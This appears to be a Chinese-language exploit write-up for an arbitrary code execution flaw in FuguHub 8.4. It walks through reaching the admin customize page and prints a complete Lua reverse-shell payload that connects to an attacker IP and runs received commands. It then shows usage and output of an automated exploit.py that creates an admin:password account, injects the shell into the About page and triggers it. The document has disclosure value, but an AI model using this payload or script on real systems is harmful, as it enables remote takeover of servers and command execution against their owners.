
FuguHub 8.4 任意代码执行
Fuguhub 是一款云媒体服务器软件。测试的版本是Debian版本,链接如下:
https://fuguhub.com/articles/FuguHub-for-Debian Real Time Logic LLC 的 FuguHub v.8.4 存在一个问题,允许本地攻击者通过向管理员面板的“关于”页面发送特制脚本来执行任意代码。
显示FuguHub下载页面的截图
wget FuguHub.com/install/FuguHub.linux.install
chmod +x FuguHub.linux.install
sudo ./FuguHub.linux.install
关于页面是一个可编辑的 Lua 页面,其内容可以通过管理员面板更改。该漏洞将一个用 Lua 编写的反弹 shell 插入到关于页面中,该页面对于已登录和未登录的用户都是可见的。
显示FuguHub管理员可编辑的关于页面的截图
FuguHub 提示用户创建一个管理员用户,也可以在此页面完成:http://127.0.0.1/rtl/protected/admin/
创建后,管理员可以在此链接自定义服务器:http://127.0.0.1/rtl/protected/admin/customize.lsp,这允许用户编辑 About 页面,我们可以看到该页面有一个 Lua 代码部分,我们可以向其中注入代码。
显示可编辑的LSP代码的截图,该代码在服务器端运行以返回软件版本,这是反弹 shell 的插入点
以下是一个示例 payload:
<?lsp if request:method() == "GET" then ?>
<?lsp
local host, port = "192.168.0.107", 4444
local socket = require("socket")
local tcp = socket.tcp()
local io = require("io")
local connection, err = tcp:connect(host, port)
if not connection then
print("Error connecting: " .. err)
return
end
while true do
local cmd, status, partial = tcp:receive()
if status == "closed" or status == "timeout" then break end
if cmd then
local f = io.popen(cmd, "r")
local s = f:read("*a")
f:close()
tcp:send(s)
end
end
tcp:close()
?>
<?lsp else ?>
Wrong request method, goodBye!
<?lsp end ?>
另一种单行 payload 可以在 revshells.com 获取。
来自 revshells.com 的 Lua 反弹 shell 的截图
在我尝试自动化此漏洞利用的过程中,我发现了 CVE-2023-24078,该漏洞在 FuguHub 上发现了一个文件上传漏洞。该漏洞利用是用 Python 完成的,并实现了自动登录/账户创建。我使用了该漏洞利用的认证部分,然后添加了代码来利用我新发现的 customize.lsp 页面上的插入点。我的 Python 漏洞利用脚本包含在仓库中的 exploit.py 文件中。
用法: exploit.py [-h] -r RHOST [-rp RPORT] -l LHOST -p LPORT
┌──(kali㉿kali)-[~/pg/hub]
└─$ python3 exploit.py -r 192.168.XXX.XXX -rp 80 -l 192.168.XXX.XXX -p 5555
[*] Checking for admin user...
[+] No admin user exists yet, creating account with admin:password
[+] User created!
[+] Logging in...
[+] Success! Injecting the reverse shell...
[+] Successfully injected the reverse shell into the About page.
[+] Triggering the reverse shell, check your listener...